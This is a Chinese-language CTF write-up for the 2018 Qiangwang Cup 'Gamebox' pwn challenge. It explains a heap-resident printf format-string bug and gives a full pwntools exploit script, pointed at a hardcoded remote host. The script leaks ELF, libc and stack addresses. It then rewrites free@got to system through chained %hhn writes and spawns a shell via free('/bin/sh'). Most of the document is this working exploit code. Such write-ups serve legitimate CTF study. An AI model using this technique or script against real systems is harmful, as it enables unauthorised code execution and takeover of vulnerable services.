【强网杯2018】Gamebox

参考：

https://www.cnblogs.com/hac425/p/9416787.html

http://tacxingxing.com/2018/03/28/2018qwb/

事后复盘pwn，对于Gamebox一题发现网上wp都是大佬们利用堆玩出花，本菜鸡看到有printf格式化字符串漏洞，而且也没有防护，就想试试。但是难点在于printf(s)的s在堆上

由于printf(s)的s在堆上，利用起来没有栈上好用，需要在栈上找到这么一块内存。
stack： param 15 -> param 41 -> param X -> free@got （X每次运行都不同，需要计算）
通过 %10c%15$hhn 修改 param 41 的内容
通过 %10c%41$hhn 修改 param X 的内容，让其指向free@got
通过 %10c%966$hhn 修改 free@got的内容

如果没有param15，那么 param 41修改param X就会比较困难，hhn改1字节，hn改2字节，使用%n会不稳定。原来param X的内容很可能在栈上，需要修改3字节甚至更多，所以多一个param 15控制param 41，让整个格式化控制链更容易。

#!/usr/bin/env python2
# -*- coding:utf8 -*-
# execve generated by ROPgadget

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger


#context(os='linux', arch='i386', log_level='debug') #i386 or amd64

#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1])
    #libc = ELF("/lib/i386-linux-gnu/libc.so.6") #32bit
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
    #raw_input("wait for debugger:")
    #io = remote("localhost", 10001)
else:
    io = remote("106.2.25.7", 8001)
    libc = ELF("libc-2.23.so")

    
"""
puts("Welcome to Pig's GameBox!");
puts("(P)lay GUESS WORDS");
puts("(S)how RANK");
puts("(D)elete RANK");
puts("(C)hange RANK");
puts("(E)xit");
"""

def fuzz_guess_words(code,name_len,name):
    io.sendlineafter("(E)xit","P")
    io.sendlineafter("what I write:",code)
    pass
    
def play_guess_words(code,name_len,name):
    io.sendlineafter("(E)xit","P")
    io.sendlineafter("what I write:",code)
    io.sendlineafter(" name length:",str(name_len))
    io.sendlineafter("your name:",name)

def show_rank():
    io.sendlineafter("(E)xit","S")
    
def delete_rank(idx,code):
    io.sendlineafter("(E)xit","D")
    io.sendlineafter("Input index:",str(idx))
    io.sendlineafter("Input Cookie:",code)
    
s = """
NWLRBBMQBHCDARZOWKKYHIDD
QSCDXRJMOWFRXSJYBLDBEFSA
RCBYNECDYGGXXPKLORELLNMP
APQFWKHOPKMCOQHNWNKUEWHS
QMGBBUQCLJJIVSWMDKQTBXIX
MVTRRBLJPTNSNFWZQFJMAFAD
RRWSOFSBCNUVQHFFBSAQXWPQ
CACEHCHZVFRKMLNOZJKPQPXR
JXKITZYXACBHHKICQCOENDTO
MFGDWDWFCGPXIQVKUYTDLCGD
EWHTACIOHORDTQKVWCSGSPQO
QMSBOAGUWNNYQXNZLGDGWPBT
RWBLNSADEUGUUMOQCDRUBETO
KYXHOACHWDVMXXRDRYXLMNDQ
TUKWAGMLEJUUKWCIBXUBUMEN
MEYATDRMYDIAJXLOGHIQFMZH
LVIHJOUVSUYOYPAYULYEIMUO
TEHZRIICFSKPGGKBBIPZZRZU
CXAMLUDFYKGRUOWZGIOOOBPP
LEQLWPHAPJNADQHDCNVWDTXJ
BMYPPPHAUXNSPUSGDHIIXQMB
FJXJCVUDJSUYIBYEBMWSIQYO
YGYXYMZEVYPZVJEGEBEOCFUF
TSXDIXTIGSIEEHKCHZDFLILR
JQFNXZTQRSVBSPKYHSENBPPK
QTPDDBUOTBBQCWIVRFXJUJJD
DNTGEIQVDGAIJVWCYAUBWEWP
JVYGEHLJXEPBPIWUQZDZUBDU
""".replace("
","").replace(" ","")
codes = [s[i*24:i*24+24] for i in range(len(s)/24)]
# print "codes",len(codes)

#fuzz the code
# wait_for_debugger(io.pid)
# while True:
    # fuzz_guess_words('a',20,"aa")

cidx = 0
#leak elf base
play_guess_words(codes[cidx],20,"%9$p..")
cidx +=1
#leak libc base
play_guess_words(codes[cidx],20,"%13$p..")
cidx +=1
#leap rsp
play_guess_words(codes[cidx],20,"%8$p..")
cidx += 1
#leap param 41
play_guess_words(codes[cidx],20,"%41$p..") #打印%41处地址
cidx += 1

#一个show_rank可以一次泄露，也可以多次show_rank
show_rank()

io.recvuntil("0:")
main_addr = int(io.recvuntil("..",drop=True),16) - 0x61
elf_base = main_addr - 6260
success("elf_base: %x"%elf_base)

io.recvuntil("1:")
__libc_start_main_addr = int(io.recvuntil("..",drop=True),16) - 0xf0
libc_base = __libc_start_main_addr - libc.symbols["__libc_start_main"]
success("libc_base: %x"%libc_base)


system_addr = libc_base + libc.symbols["system"]
free_addr = libc_base + libc.symbols["free"]
free_got = elf_base + elf.got["free"]
success("system_addr: %x"%system_addr)
success("free_addr: %x"%free_addr)
success("free_got: %x"%free_got)


io.recvuntil("2:")
rsp_addr = int(io.recvuntil("..",drop=True),16) - 0x30
success("rsp address: %x"%rsp_addr)

#stack: param15 -> param41 -> param X(未对齐）
io.recvuntil("3:")
param_41_addr = int(io.recvuntil("..",drop=True),16)
success("param 41 content: %x"%param_41_addr)

# 清理
delete_rank(0,codes[0])
delete_rank(1,codes[1])
delete_rank(2,codes[2])
delete_rank(3,codes[3])

def hhn_payload(x,pos):
    if x == 0:
        payload = pos
    else:
        payload = "%"+str(x)+"c"+ pos
        
    return payload

def hn_payload(x,pos):
    if x == 0:
        payload = pos
    else:
        payload = "%"+str(x)+"c"+ pos
        
    return payload

#修正param_41_addr与栈对齐    
#stack: param15 -> param41 -> param X(已对齐）
if param_41_addr % 8 != 0:
    diff = 8 - param_41_addr %8 #需要进位7fff0ecdd2fd
    hn = (param_41_addr + diff) & 0xffff
    payload = hn_payload(hn,"%15$hn")
    play_guess_words(codes[cidx],20,payload)
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1
    param_41_addr += diff
    success("param 41 content adjust: %x"%param_41_addr)


#将param X内容改为free_got
for i in range(8):
    #修改一位param X
    hhn = ((free_got >> (8*i) & 0xff))%256
    # print 'hhn',i,hhn
    payload = hhn_payload(hhn,"%41$hhn")
    
    play_guess_words(codes[cidx],20,payload)
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1
    
    if i == 7:
        break
    
    #修改一位param 41
    hhn = (param_41_addr + i + 1)&0xff
    payload = hhn_payload(hhn,"%15$hhn")
        
    play_guess_words(codes[cidx],20,payload) #param41 += 1
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1

#修改param41对应的地方，是程序名处，所以ida2pwntools就不能用了:P
#接下来就不能delete了，一般free_addr和system_addr相差3位



#先将param41的内容归位，指向param X(对齐）处。这里有可能进位了，但是概率比较少
hn = (param_41_addr)&0xffff
payload = hn_payload(hn,"%15$hn a")
play_guess_words(codes[cidx],20,payload) 
cidx += 1

param_idx = (param_41_addr - rsp_addr)/8 + 6 #8字节对齐，前6位在寄存器中
success("param_idx: %d"%param_idx)
for i in range(3):
    #修改free_got低3字节
    hhn = ((system_addr >> (8*i) & 0xff))%256
    payload = hhn_payload(hhn,"%"+str(param_idx)+"$hhn b"+str(i))
    play_guess_words(codes[cidx],20,payload)
    cidx += 1
    
    if i == 2:
        break
    
    #修改 paramX -> free_got[i+1]
    hhn = (free_got + i + 1)&0xff
    payload = hhn_payload(hhn,"%41$hhn c"+str(i))
    play_guess_words(codes[cidx],20,payload) 
    cidx += 1
    
#构造好串：param41的内容归位，修改free_got[0]，修改param943+=1，修改free_got[1]，修改param943+=1，修改free_got[2]
# wait_for_debugger(io.pid)
show_rank()

# 用free("/bin/sh") 进行 get_shell
play_guess_words(codes[cidx],20,"/bin/sh") 
delete_rank(6,codes[cidx])
cidx +=1 

io.interactive()

仅做记录，如有不妥请大佬们指正。